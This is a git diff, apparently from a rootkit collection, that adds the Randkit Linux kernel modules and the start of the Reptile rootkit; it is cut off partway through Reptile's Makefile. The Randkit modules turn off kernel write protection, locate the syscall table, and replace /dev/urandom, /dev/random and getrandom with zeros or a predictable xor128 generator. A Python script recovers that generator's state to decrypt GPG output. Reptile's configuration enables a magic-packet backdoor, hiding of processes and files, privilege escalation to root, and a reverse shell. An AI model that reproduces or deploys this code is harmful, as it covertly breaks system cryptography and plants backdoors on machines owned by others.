+else + echo "[!] Failure. Files are not equal!" +fi diff --git a/Linux/Rootkits/Randkit/examples/original.txt b/Linux/Rootkits/Randkit/examples/original.txt new file mode 100644 index 0000000..9607e94 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/original.txt @@ -0,0 +1,39 @@ +Déclaration des Droits de l'Homme et du Citoyen de 1789 + +Les Représentants du Peuple Français, constitués en Assemblée Nationale, considérant que l'ignorance, l'oubli ou le mépris des droits de l'Homme sont les seules causes des malheurs publics et de la corruption des Gouvernements, ont résolu d'exposer, dans une Déclaration solennelle, les droits naturels, inaliénables et sacrés de l'Homme, afin que cette Déclaration, constamment présente à tous les Membres du corps social, leur rappelle sans cesse leurs droits et leurs devoirs ; afin que les actes du pouvoir législatif, et ceux du pouvoir exécutif, pouvant être à chaque instant comparés avec le but de toute institution politique, en soient plus respectés ; afin que les réclamations des citoyens, fondées désormais sur des principes simples et incontestables, tournent toujours au maintien de la Constitution et au bonheur de tous. + +En conséquence, l'Assemblée Nationale reconnaît et déclare, en présence et sous les auspices de l'Etre suprême, les droits suivants de l'Homme et du Citoyen. + +Art. 1er. Les hommes naissent et demeurent libres et égaux en droits. Les distinctions sociales ne peuvent être fondées que sur l'utilité commune. + +Art. 2. Le but de toute association politique est la conservation des droits naturels et imprescriptibles de l'Homme. Ces droits sont la liberté, la propriété, la sûreté, et la résistance à l'oppression. + +Art. 3. Le principe de toute Souveraineté réside essentiellement dans la Nation. Nul corps, nul individu ne peut exercer d'autorité qui n'en émane expressément. + +Art. 4. La liberté consiste à pouvoir faire tout ce qui ne nuit pas à autrui : ainsi, l'exercice des droits naturels de chaque homme n'a de bornes que celles qui assurent aux autres Membres de la Société la jouissance de ces mêmes droits. Ces bornes ne peuvent être déterminées que par la Loi. + +Art. 5. La Loi n'a le droit de défendre que les actions nuisibles à la Société. Tout ce qui n'est pas défendu par la Loi ne peut être empêché, et nul ne peut être contraint à faire ce qu'elle n'ordonne pas. + +Art. 6. La Loi est l'expression de la volonté générale. Tous les Citoyens ont droit de concourir personnellement, ou par leurs Représentants, à sa formation. Elle doit être la même pour tous, soit qu'elle protège, soit qu'elle punisse. Tous les Citoyens étant égaux à ses yeux sont également admissibles à toutes dignités, places et emplois publics, selon leur capacité, et sans autre distinction que celle de leurs vertus et de leurs talents. + +Art. 7. Nul homme ne peut être accusé, arrêté ni détenu que dans les cas déterminés par la Loi, et selon les formes qu'elle a prescrites. Ceux qui sollicitent, expédient, exécutent ou font exécuter des ordres arbitraires, doivent être punis ; mais tout citoyen appelé ou saisi en vertu de la Loi doit obéir à l'instant : il se rend coupable par la résistance. + +Art. 8. La Loi ne doit établir que des peines strictement et évidemment nécessaires, et nul ne peut être puni qu'en vertu d'une Loi établie et promulguée antérieurement au délit, et légalement appliquée. + +Art. 9. Tout homme étant présumé innocent jusqu'à ce qu'il ait été déclaré coupable, s'il est jugé indispensable de l'arrêter, toute rigueur qui ne serait pas nécessaire pour s'assurer de sa personne doit être sévèrement réprimée par la loi. + +Art. 10. Nul ne doit être inquiété pour ses opinions, même religieuses, pourvu que leur manifestation ne trouble pas l'ordre public établi par la Loi. + +Art. 11. La libre communication des pensées et des opinions est un des droits les plus précieux de l'Homme : tout Citoyen peut donc parler, écrire, imprimer librement, sauf à répondre de l'abus de cette liberté dans les cas déterminés par la Loi. + +Art. 12. La garantie des droits de l'Homme et du Citoyen nécessite une force publique : cette force est donc instituée pour l'avantage de tous, et non pour l'utilité particulière de ceux auxquels elle est confiée. + +Art. 13. Pour l'entretien de la force publique, et pour les dépenses d'administration, une contribution commune est indispensable : elle doit être également répartie entre tous les citoyens, en raison de leurs facultés. + +Art. 14. Tous les Citoyens ont le droit de constater, par eux-mêmes ou par leurs représentants, la nécessité de la contribution publique, de la consentir librement, d'en suivre l'emploi, et d'en déterminer la quotité, l'assiette, le recouvrement et la durée. + +Art. 15. La Société a le droit de demander compte à tout Agent public de son administration. + +Art. 16. Toute Société dans laquelle la garantie des Droits n'est pas assurée, ni la séparation des Pouvoirs déterminée, n'a point de Constitution. + +Art. 17. La propriété étant un droit inviolable et sacré, nul ne peut en être privé, si ce n'est lorsque la nécessité publique, légalement constatée, l'exige évidemment, et sous la condition d'une juste et préalable indemnité. diff --git a/Linux/Rootkits/Randkit/examples/unrandom.py b/Linux/Rootkits/Randkit/examples/unrandom.py new file mode 100644 index 0000000..ee02d49 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/unrandom.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python + +import os +import struct +import subprocess +import sys + +class Xor128(object): + MASK = 2**32 - 1 + + def __init__(self, x=123456789, y=362436069, z=521288629, w=88675123): + self.x = x + self.y = y + self.z = z + self.w = w + + @classmethod + def init_from_urandom(cls): + rnd = os.urandom(16) + x = struct.unpack('> idx + idx <<= 1 + + return x & cls.MASK + + def forward(self): + t = self.x ^ self.x << 11 + t &= self.MASK + self.x = self.y + self.y = self.z + self.z = self.w + + self.w = (self.w ^ (self.w >> 19)) ^ (t ^ (t >> 8)) + self.w &= self.MASK + + return self.w + + def backward(self): + tmp = self.w ^ self.z ^ (self.z >> 19) + t = self.reverse_xor_rshift(tmp, 8) + + self.w = self.z + self.z = self.y + self.y = self.x + self.x = self.reverse_xor_lshift(t, 11) + + return self.w + + def print_state(self): + print 'x=%d\ny=%d\nz=%d\nw=%d\n' % (self.x, self.y, self.z, self.w) + + def output_state(self): + return struct.pack('>sys.stderr, '[!] syntax: %s ' % sys.argv[0] + raise SystemExit(-1) + + p = Xor128.init_from_urandom() + p.gpg_decrypt(sys.argv[1], sys.argv[2]) diff --git a/Linux/Rootkits/Randkit/fops/Makefile b/Linux/Rootkits/Randkit/fops/Makefile new file mode 100644 index 0000000..70c5949 --- /dev/null +++ b/Linux/Rootkits/Randkit/fops/Makefile @@ -0,0 +1,11 @@ +obj-m += randkit_fops.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +test: + sudo insmod randkit_fops.ko urandom_fops_addr=0x$(shell grep urandom_fops /boot/System.map-$(shell uname -r) | cut -d' ' -f1) + sudo rmmod randkit_fops diff --git a/Linux/Rootkits/Randkit/fops/randkit_fops.c b/Linux/Rootkits/Randkit/fops/randkit_fops.c new file mode 100644 index 0000000..20345a6 --- /dev/null +++ b/Linux/Rootkits/Randkit/fops/randkit_fops.c @@ -0,0 +1,149 @@ +#include +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Vincent Rasneur "); +MODULE_DESCRIPTION("Randkit fops: access to struct file_operations * pointer from /dev/urandom"); + +static unsigned long urandom_fops_addr; +module_param(urandom_fops_addr, ulong, 0); + +static struct file_operations *rk_param_get_fops(void) +{ + return (struct file_operations *)urandom_fops_addr; +} + +static struct file_operations *rk_inode_get_fops(struct inode *inode) +{ + struct file fp; + struct address_space mapping; + + memset(&fp, 0, sizeof(fp)); + memset(&mapping, 0, sizeof(mapping)); + // memory_open (called by chrdev_open) + // needs the f_mapping pointer on old 3.x kernels + fp.f_mapping = &mapping; + + // inode.i_fop->open == chrdev_open + inode->i_fop->open(inode, &fp); + + // remove the const correctness + return (struct file_operations *)fp.f_op; +} + +static struct file_operations *rk_chrdev_get_fops(int minor) +{ + struct inode inode; + struct file_operations *fop = NULL; + + memset(&inode, 0, sizeof(inode)); + // chrdev_open needs a doubly linked list here + INIT_LIST_HEAD(&inode.i_devices); + // get a pointer to chrdev_open + init_special_inode(&inode, S_IFCHR, MKDEV(1, minor)); + + if(inode.i_fop != NULL && inode.i_fop->open != NULL) { + // call chrdev_open, that will call memory_open + fop = rk_inode_get_fops(&inode); + } + + list_del(&inode.i_devices); + + return fop; +} + +static struct file_operations *rk_filp_get_fops(char const *name) +{ + struct file *fp = filp_open(name, O_RDONLY, 0); + struct file_operations *fop = NULL; + + if(!IS_ERR(fp)) { + // remove the const correctness + fop = (struct file_operations *)fp->f_op; + + filp_close(fp, NULL); + } + + return fop; +} + +static struct file_operations *rk_path_get_fops(char const *name) +{ + struct path path; + struct file_operations *fop = NULL; + struct inode *inode = NULL; + + int ret = kern_path(name, LOOKUP_FOLLOW, &path); + if(ret == 0) { + inode = d_backing_inode(path.dentry); + + if(inode->i_fop != NULL && inode->i_fop->open != NULL) { + // call chrdev_open, that will call memory_open + fop = rk_inode_get_fops(inode); + } + } + + return fop; +} + +static struct file_operations *rk_kallsyms_get_fops(char const *name) +{ + return (struct file_operations *)kallsyms_lookup_name(name); +} + +static void rk_check_fops(struct file_operations *fops, char const *way) +{ + if(fops == NULL) { + printk(KERN_INFO "using '%s': cannot find the fops\n", way); + } + else if(fops->read != NULL) + { + printk(KERN_INFO "using '%s': found fops at %p, read is at %p\n", way, fops, fops->read); + } + else { + printk(KERN_INFO "using '%s': found fops at %p, read not found", way, fops); + } +} + +static void rk_test_fops(void) +{ + struct file_operations *urandom_fops_ptr = NULL; + printk(KERN_INFO "getting pointer to urandom fops\n"); + + urandom_fops_ptr = rk_chrdev_get_fops(9); + rk_check_fops(urandom_fops_ptr, "chrdev"); + + urandom_fops_ptr = rk_kallsyms_get_fops("urandom_fops"); + rk_check_fops(urandom_fops_ptr, "kallsyms"); + + urandom_fops_ptr = rk_path_get_fops("/dev/urandom"); + rk_check_fops(urandom_fops_ptr, "path"); + + urandom_fops_ptr = rk_filp_get_fops("/dev/urandom"); + rk_check_fops(urandom_fops_ptr, "filp"); + + urandom_fops_ptr = rk_param_get_fops(); + rk_check_fops(urandom_fops_ptr, "param"); + + printk(KERN_INFO "getting done\n"); +} + +static int __init rk_init(void) +{ + rk_test_fops(); + + return 0; +} + +static void __exit rk_cleanup(void) +{ + +} + +module_init(rk_init); +module_exit(rk_cleanup); diff --git a/Linux/Rootkits/Randkit/tests/Makefile b/Linux/Rootkits/Randkit/tests/Makefile new file mode 100644 index 0000000..aa9836a --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/Makefile @@ -0,0 +1,10 @@ +FLAGS := -std=gnu11 +PROGS:= fdrandom getrandom writefdrandom xor128 + +all: $(PROGS) + +$(PROGS): %: %.c + gcc $(FLAGS) -o $@ $< + +clean: + rm -f $(PROGS) diff --git a/Linux/Rootkits/Randkit/tests/fdrandom.c b/Linux/Rootkits/Randkit/tests/fdrandom.c new file mode 100644 index 0000000..74df290 --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/fdrandom.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include + +int main(void) +{ + unsigned char buf[6] = { 1, 2, 3, 4, 5, 6 }; + int fd = open("/dev/urandom", O_RDONLY); + ssize_t ret = read(fd, buf, sizeof(buf)); + + printf("ret: %d\n", ret); + + for(int i = 0; i < sizeof(buf); i++) { + printf("random (%d): %02X\n", i, buf[i]); + } + + close(fd); +} diff --git a/Linux/Rootkits/Randkit/tests/getrandom.c b/Linux/Rootkits/Randkit/tests/getrandom.c new file mode 100644 index 0000000..7db2931 --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/getrandom.c @@ -0,0 +1,29 @@ +#define _GNU_SOURCE + +#include + +#include +#include +#include + + +int main(void) +{ +#ifndef __NR_getrandom + puts("getrandom syscall not supported!"); + + return -1; +#else + unsigned char buf[6] = { 1, 2, 3, 4, 5, 6 };; + + long ret = syscall(__NR_getrandom, buf, sizeof(buf), 0); + + printf("ret: %d\n", ret); + + for(int i = 0; i < 6; i++) { + printf("random (%d): %02X\n", i, buf[i]); + } + + return 0; +#endif +} diff --git a/Linux/Rootkits/Randkit/tests/writefdrandom.c b/Linux/Rootkits/Randkit/tests/writefdrandom.c new file mode 100644 index 0000000..efdce7d --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/writefdrandom.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include + +int main(void) +{ + unsigned char buf[6] = { 'a', 'z', 'e', 'r', 't', '\n' }; + int fd = open("/dev/urandom", O_WRONLY); + ssize_t ret = write(fd, buf, sizeof(buf)); + + printf("ret: %d\n", ret); + + for(int i = 0; i < sizeof(buf); i++) { + printf("random (%d): %02X\n", i, buf[i]); + } + + close(fd); +} diff --git a/Linux/Rootkits/Randkit/tests/xor128.c b/Linux/Rootkits/Randkit/tests/xor128.c new file mode 100644 index 0000000..ac29a3e --- /dev/null +++ b/Linux/Rootkits/Randkit/tests/xor128.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include +#include +#include + +uint32_t xor128() { + static uint32_t x = 123456789; + static uint32_t y = 362436069; + static uint32_t z = 521288629; + static uint32_t w = 88675123; + + uint32_t t; + + t = x ^ (x << 11); + x = y; + y = z; + z = w; + w = (w ^ (w >> 19)) ^ (t ^ (t >> 8)); + + return w; +} + +int main(void) +{ + int f = open("xor128.random", O_CREAT | O_WRONLY); + + for(int i = 0; i < 100; i++) + { + uint32_t rnd = xor128(); + printf("%" PRIu32 "\n", rnd); + + write(f, &rnd, sizeof(rnd)); + } + close(f); + + return 0; +} diff --git a/Linux/Rootkits/Randkit/xor128/Makefile b/Linux/Rootkits/Randkit/xor128/Makefile new file mode 100644 index 0000000..fed664d --- /dev/null +++ b/Linux/Rootkits/Randkit/xor128/Makefile @@ -0,0 +1,12 @@ +obj-m += randkit_xor128.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +test: + sudo insmod randkit_xor128.ko + head -c16 /dev/urandom | hexdump + sudo rmmod randkit_xor128 diff --git a/Linux/Rootkits/Randkit/xor128/randkit_xor128.c b/Linux/Rootkits/Randkit/xor128/randkit_xor128.c new file mode 100644 index 0000000..4e204ae --- /dev/null +++ b/Linux/Rootkits/Randkit/xor128/randkit_xor128.c @@ -0,0 +1,347 @@ +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Vincent Rasneur "); +MODULE_DESCRIPTION("Randkit xor128: replaces /dev/(u)random with a xor128 PRNG"); + +static struct file_operations *urandom_fops_ptr; +static struct file_operations *random_fops_ptr; + +static struct file_operations saved_urandom_fops; +static struct file_operations saved_random_fops; + +typedef long (*rk_sys_getrandom_fun)(char __user *, size_t, unsigned int); + +static void **saved_syscall_table; +static rk_sys_getrandom_fun saved_sys_getrandom; + +// read/write protection, adapted from grsecurity + +static inline unsigned long rk_disable_wp(void) +{ + unsigned long cr0; + + preempt_disable(); + + barrier(); + cr0 = read_cr0(); + write_cr0(cr0 & ~X86_CR0_WP); + barrier(); + + return cr0; +} + +static inline void rk_enable_wp(unsigned long cr0) +{ + barrier(); + write_cr0(cr0); + barrier(); + + preempt_enable(); +} + +#define RK_DISABLE_WP \ + { \ + unsigned long _rk_cr0; \ + _rk_cr0 = rk_disable_wp(); + +#define RK_ENABLE_WP \ + rk_enable_wp(_rk_cr0); \ + } + +static DEFINE_SPINLOCK(rk_spinlock); + +struct xor128_state +{ + u32 x; + u32 y; + u32 z; + u32 w; +}; +// default values from the xor128 paper +struct xor128_state rk_state = { 123456789, 362436069, 521288629, 88675123 }; + +// initial xor128 state can be also given by module parameters +static u32 rk_initial_state[4]; +static int rk_initial_state_count; +module_param_array(rk_initial_state, uint, &rk_initial_state_count, 0); + +// XOR128 PRNG (Xorshift family) +static u32 rk_xor128(void) { + unsigned long flags; + u32 t; + + spin_lock_irqsave(&rk_spinlock, flags); + t = rk_state.x ^ (rk_state.x << 11); + + rk_state.x = rk_state.y; + rk_state.y = rk_state.z; + rk_state.z = rk_state.w; + + rk_state.w = (rk_state.w ^ (rk_state.w >> 19)) ^ (t ^ (t >> 8)); + spin_unlock_irqrestore(&rk_spinlock, flags); + + return rk_state.w; +} + +static void rk_set_initial_state(void) +{ + if(rk_initial_state_count != 0) { + rk_state.x = rk_initial_state[0]; + rk_state.y = rk_initial_state[1]; + rk_state.z = rk_initial_state[2]; + rk_state.w = rk_initial_state[3]; + } + + printk(KERN_INFO "initial state: x=%u y=%u z=%u w=%u\n", + rk_state.x, rk_state.y, rk_state.z, rk_state.w); +} + +static void rk_set_state(struct xor128_state *state) +{ + unsigned long flags; + + spin_lock_irqsave(&rk_spinlock, flags); + + rk_state = *state; + printk(KERN_INFO "new state: x=%u y=%u z=%u w=%u\n", + rk_state.x, rk_state.y, rk_state.z, rk_state.w); + + spin_unlock_irqrestore(&rk_spinlock, flags); +} + +static struct file_operations *rk_get_fops(int minor) +{ + struct inode inode; + struct file fp; + struct address_space mapping; + + memset(&inode, 0, sizeof(inode)); + // chrdev_open needs a doubly linked list here + INIT_LIST_HEAD(&inode.i_devices); + // get a pointer to chrdev_open + init_special_inode(&inode, S_IFCHR, MKDEV(1, minor)); + + memset(&fp, 0, sizeof(fp)); + memset(&mapping, 0, sizeof(mapping)); + // memory_open (called by chrdev_open) + // needs the f_mapping pointer on old 3.x kernels + fp.f_mapping = &mapping; + + // inode.i_fop->open == chrdev_open + inode.i_fop->open(&inode, &fp); + + // for urandom, fp.f_op->read is urandom_read + printk(KERN_INFO "read fops is at: %p\n", (void *)fp.f_op->read); + + list_del(&inode.i_devices); + + // remove the const correctness + return (struct file_operations *)fp.f_op; +} + +static void const *rk_memmem(void const *haystack, size_t hl, + void const *needle, size_t nl) +{ + void const *res = NULL; + + if(nl <= hl) { + int idx = 0; + char const *buf = haystack; + + for(idx = 0; idx <= hl - nl; idx++) { + if(memcmp(buf, needle, nl) == 0) { + res = buf; + break; + } + + buf++; + } + } + + return res; +} + +static void **rk_find_syscall_table(void) +{ +#define OFFSET_SYSCALL 256 + void **syscall_table = NULL; + unsigned long syscall_entry; + char const *buf = NULL; + + // get the entry_SYSCALL_64 address + rdmsrl(MSR_LSTAR, syscall_entry); + // find the sys_call_table reference in the code + buf = rk_memmem((void const *)syscall_entry, OFFSET_SYSCALL, "\xff\x14\xc5", 3); + if(buf != NULL) + { + // convert to pointer + unsigned long ptr = *(unsigned long *)(buf + 3); + syscall_table = (void **)(0xFFFFFFFF00000000 | ptr); + } + + return syscall_table; +} + +static ssize_t rk_fill_buf(char __user *buf, size_t nbytes) +{ + size_t idx = 0; + size_t count = nbytes / sizeof(u32); + size_t rem = nbytes % sizeof(u32); + + if(rem != 0) { + count++; + } + + while(count != 0) { + u32 rnd = rk_xor128(); + size_t rnd_sz = sizeof(rnd); + + if(count == 1 && rem != 0) { + rnd_sz = rem; + } + + if(copy_to_user(buf + idx, &rnd, rnd_sz) != 0) { + return -1; + } + + idx += sizeof(u32); + count--; + } + + printk(KERN_INFO "wrote %lu bytes of random data\n", nbytes); + + return nbytes; +} + +static ssize_t rk_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) +{ + return rk_fill_buf(buf, nbytes); +} + +static ssize_t rk_random_write(struct file *file, const char __user *buf, + size_t count, loff_t *ppos) +{ + char tmp[65]; + size_t len = min(count, sizeof(tmp) - 1); + struct xor128_state state; + + if(copy_from_user(tmp, buf, len) != 0) { + return -EFAULT; + } + + tmp[len] = '\0'; + + if(sscanf(tmp, "rk: seed %u %u %u %u", &state.x, &state.y, &state.z, &state.w) == 4) { + rk_set_state(&state); + + return count; + } + else { + return saved_urandom_fops.write(file, buf, count, ppos); + } +} + +static void rk_patch_fops(void) +{ + printk(KERN_INFO "saving random fops\n"); + + urandom_fops_ptr = rk_get_fops(9); + random_fops_ptr = rk_get_fops(8); + + saved_urandom_fops = *urandom_fops_ptr; + saved_random_fops = *random_fops_ptr; + + printk(KERN_INFO "patching random fops\n"); + + RK_DISABLE_WP + urandom_fops_ptr->read = rk_random_read; + urandom_fops_ptr->write = rk_random_write; + + random_fops_ptr->read = rk_random_read; + random_fops_ptr->write = rk_random_write; + RK_ENABLE_WP + + printk(KERN_INFO "patching done\n"); +} + +static asmlinkage long rk_sys_getrandom(char __user * buf, size_t count, unsigned int flags) +{ + return (long)rk_fill_buf(buf, count); +} + +static void rk_patch_getrandom(void) +{ +#ifdef __NR_getrandom + saved_syscall_table = rk_find_syscall_table(); + + if(saved_syscall_table != NULL) + { + printk(KERN_INFO "found syscall table at: %p\n", saved_syscall_table); + + printk(KERN_INFO "saving getrandom syscall\n"); + + saved_sys_getrandom = (rk_sys_getrandom_fun)saved_syscall_table[__NR_getrandom]; + + printk(KERN_INFO "overwriting getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)rk_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "overwriting done\n"); + } +#endif // __NR_getrandom +} + +static int __init rk_init(void) +{ + rk_set_initial_state(); + + rk_patch_fops(); + rk_patch_getrandom(); + + return 0; +} + +static void rk_restore_fops(void) +{ + printk(KERN_INFO "restoring random fops\n"); + + RK_DISABLE_WP + *urandom_fops_ptr = saved_urandom_fops; + *random_fops_ptr = saved_random_fops; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); +} + +static void rk_restore_getrandom(void) +{ +#ifdef __NR_getrandom + if(saved_syscall_table != NULL && saved_sys_getrandom != NULL) + { + printk(KERN_INFO "restoring getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)saved_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); + } +#endif +} + +static void __exit rk_cleanup(void) +{ + rk_restore_fops(); + rk_restore_getrandom(); +} + +module_init(rk_init); +module_exit(rk_cleanup); diff --git a/Linux/Rootkits/Randkit/zero/Makefile b/Linux/Rootkits/Randkit/zero/Makefile new file mode 100644 index 0000000..73ec7fa --- /dev/null +++ b/Linux/Rootkits/Randkit/zero/Makefile @@ -0,0 +1,12 @@ +obj-m += randkit_zero.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +test: + sudo insmod randkit_zero.ko + head -c16 /dev/urandom | hexdump + sudo rmmod randkit_zero diff --git a/Linux/Rootkits/Randkit/zero/randkit_zero.c b/Linux/Rootkits/Randkit/zero/randkit_zero.c new file mode 100644 index 0000000..2b08808 --- /dev/null +++ b/Linux/Rootkits/Randkit/zero/randkit_zero.c @@ -0,0 +1,227 @@ +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Vincent Rasneur "); +MODULE_DESCRIPTION("Randkit Zero: replaces /dev/(u)random with /dev/zero"); + +static struct file_operations *urandom_fops_ptr; +static struct file_operations *random_fops_ptr; +static struct file_operations *zero_fops_ptr; + +static struct file_operations saved_urandom_fops; +static struct file_operations saved_random_fops; + +typedef long (*rk_sys_getrandom_fun)(char __user *, size_t, unsigned int); + +static void **saved_syscall_table; +static rk_sys_getrandom_fun saved_sys_getrandom; + +// read/write protection, adapted from grsecurity + +static inline unsigned long rk_disable_wp(void) +{ + unsigned long cr0; + + preempt_disable(); + + barrier(); + cr0 = read_cr0(); + write_cr0(cr0 & ~X86_CR0_WP); + barrier(); + + return cr0; +} + +static inline void rk_enable_wp(unsigned long cr0) +{ + barrier(); + write_cr0(cr0); + barrier(); + + preempt_enable(); +} + +#define RK_DISABLE_WP \ + { \ + unsigned long _rk_cr0; \ + _rk_cr0 = rk_disable_wp(); + +#define RK_ENABLE_WP \ + rk_enable_wp(_rk_cr0); \ + } + +static struct file_operations *rk_get_fops(int minor) +{ + struct inode inode; + struct file fp; + struct address_space mapping; + + memset(&inode, 0, sizeof(inode)); + // chrdev_open needs a doubly linked list here + INIT_LIST_HEAD(&inode.i_devices); + // get a pointer to chrdev_open + init_special_inode(&inode, S_IFCHR, MKDEV(1, minor)); + + memset(&fp, 0, sizeof(fp)); + memset(&mapping, 0, sizeof(mapping)); + // memory_open (called by chrdev_open) + // needs the f_mapping pointer on old 3.x kernels + fp.f_mapping = &mapping; + + // inode.i_fop->open == chrdev_open + inode.i_fop->open(&inode, &fp); + + // for urandom, fp.f_op->read is urandom_read + printk(KERN_INFO "read fops is at: %p\n", (void *)fp.f_op->read); + + list_del(&inode.i_devices); + + // remove the const correctness + return (struct file_operations *)fp.f_op; +} + +static void const *rk_memmem(void const *haystack, size_t hl, + void const *needle, size_t nl) +{ + void const *res = NULL; + + if(nl <= hl) { + int idx = 0; + char const *buf = haystack; + + for(idx = 0; idx <= hl - nl; idx++) { + if(memcmp(buf, needle, nl) == 0) { + res = buf; + break; + } + + buf++; + } + } + + return res; +} + +static void **rk_find_syscall_table(void) +{ +#define OFFSET_SYSCALL 256 + void **syscall_table = NULL; + unsigned long syscall_entry; + char const *buf = NULL; + + // get the entry_SYSCALL_64 address + rdmsrl(MSR_LSTAR, syscall_entry); + // find the sys_call_table reference in the code + buf = rk_memmem((void const *)syscall_entry, OFFSET_SYSCALL, "\xff\x14\xc5", 3); + if(buf != NULL) + { + // convert to pointer + unsigned long ptr = *(unsigned long *)(buf + 3); + syscall_table = (void **)(0xFFFFFFFF00000000 | ptr); + } + + return syscall_table; +} + +static void rk_patch_fops(void) +{ + printk(KERN_INFO "saving random fops\n"); + + urandom_fops_ptr = rk_get_fops(9); + random_fops_ptr = rk_get_fops(8); + zero_fops_ptr = rk_get_fops(5); + + saved_urandom_fops = *urandom_fops_ptr; + saved_random_fops = *random_fops_ptr; + + printk(KERN_INFO "patching random fops\n"); + + RK_DISABLE_WP + *urandom_fops_ptr = *zero_fops_ptr; + *random_fops_ptr = *zero_fops_ptr; + RK_ENABLE_WP + + printk(KERN_INFO "patching done\n"); +} + +static asmlinkage long rk_sys_getrandom(char __user * buf, size_t count, unsigned int flags) +{ + if(clear_user(buf, count) != 0) { + return -1; + } + + return (long)count; +} + +static void rk_patch_getrandom(void) +{ +#ifdef __NR_getrandom + saved_syscall_table = rk_find_syscall_table(); + + if(saved_syscall_table != NULL) + { + printk(KERN_INFO "found syscall table at: %p\n", saved_syscall_table); + + printk(KERN_INFO "saving getrandom syscall\n"); + + saved_sys_getrandom = (rk_sys_getrandom_fun)saved_syscall_table[__NR_getrandom]; + + printk(KERN_INFO "overwriting getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)rk_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "overwriting done\n"); + } +#endif // __NR_getrandom +} + +static int __init rk_init(void) +{ + rk_patch_fops(); + rk_patch_getrandom(); + + return 0; +} + +static void rk_restore_fops(void) +{ + printk(KERN_INFO "restoring random fops\n"); + + RK_DISABLE_WP + *urandom_fops_ptr = saved_urandom_fops; + *random_fops_ptr = saved_random_fops; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); +} + +static void rk_restore_getrandom(void) +{ +#ifdef __NR_getrandom + if(saved_syscall_table != NULL && saved_sys_getrandom != NULL) + { + printk(KERN_INFO "restoring getrandom syscall\n"); + + RK_DISABLE_WP + saved_syscall_table[__NR_getrandom] = (void *)saved_sys_getrandom; + RK_ENABLE_WP + + printk(KERN_INFO "restoring done\n"); + } +#endif +} + +static void __exit rk_cleanup(void) +{ + rk_restore_fops(); + rk_restore_getrandom(); +} + +module_init(rk_init); +module_exit(rk_cleanup); diff --git a/Linux/Rootkits/Reptile/.gitignore b/Linux/Rootkits/Reptile/.gitignore new file mode 100644 index 0000000..dbe9c82 --- /dev/null +++ b/Linux/Rootkits/Reptile/.gitignore @@ -0,0 +1 @@ +.vscode/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/Kconfig b/Linux/Rootkits/Reptile/Kconfig new file mode 100644 index 0000000..8f270ef --- /dev/null +++ b/Linux/Rootkits/Reptile/Kconfig @@ -0,0 +1,90 @@ +mainmenu "Reptile's configuration" + +comment "Chose the features you wanna enable" + +config CONFIG_BACKDOOR + bool "Backdoor" + default y + +menu "Backdoor configuration" + depends on CONFIG_BACKDOOR + + config MAGIC_VALUE + string "Magic value to magic packets" + default "hax0r" + + config PASSWORD + string "Backdoor password" + default "s3cr3t" + + config SRCPORT + int "Source port of magic packets" + default 666 + range 0 65535 + + comment "END" +endmenu + +config CONFIG_FILE_TAMPERING + bool "Hide specific file contents" + default y + +menu "Name used in file tampering tags" + depends on CONFIG_FILE_TAMPERING + + config TAG_NAME + string "Tag name that hide file contents" + default "reptile" + + comment "END" +endmenu + +config CONFIG_HIDE_PROC + bool "Hide process" + default y + +config CONFIG_HIDE_DIR + bool "Hide files and directories" + default y + +menu "Hide name (needed to create Reptile's folder)" + config HIDE + string "Hide name" + default "reptile" + + comment "END" +endmenu + +config CONFIG_HIDE_CONN + bool "Hide TCP and UDP connections" + default y + +config CONFIG_AUTO_HIDE + bool "Hide kernel module itself" + default y + +config CONFIG_GIVE_ROOT + bool "Enable give root to a process run by an unprivileged user" + default y + +config CONFIG_RSHELL_ON_START + bool "Would you like to launch the reverse shell daemon on start?" + default n + +menu "Reverse shell daemon configuration" + depends on CONFIG_RSHELL_ON_START + + config LHOST + string "Host to receive the reverse shell" + default "127.0.0.1" + + config LPORT + string "Port get the reverse shell" + default "4444" + + config INTERVAL + string "How long is your interval? (in seconds)" + default "1800" + + comment "END" +endmenu diff --git a/Linux/Rootkits/Reptile/Makefile b/Linux/Rootkits/Reptile/Makefile new file mode 100644 index 0000000..74de68f --- /dev/null +++ b/Linux/Rootkits/Reptile/Makefile @@ -0,0 +1,67 @@ +CC := gcc +RM = rm -rf +SHELL := /bin/bash +PWD := $(shell pwd) +KERNEL := /lib/modules/$(shell uname -r)/build +CLIENT_DIR ?= $(PWD)/userland +CONFIG_SCRIPT ?= $(PWD)/scripts/kconfig/config.sh +CONFIG_FILE ?= $(PWD)/.config +GEN_RANDOM ?= $(PWD)/scripts/random.sh +BUILD_DIR ?= $(PWD)/output +BUILD_DIR_MAKEFILE ?= $(BUILD_DIR)/Makefile +MODULE_DIR ?= $(PWD)/kernel +ENCRYPT_SRC ?= $(PWD)/kernel/encrypt/encrypt.c 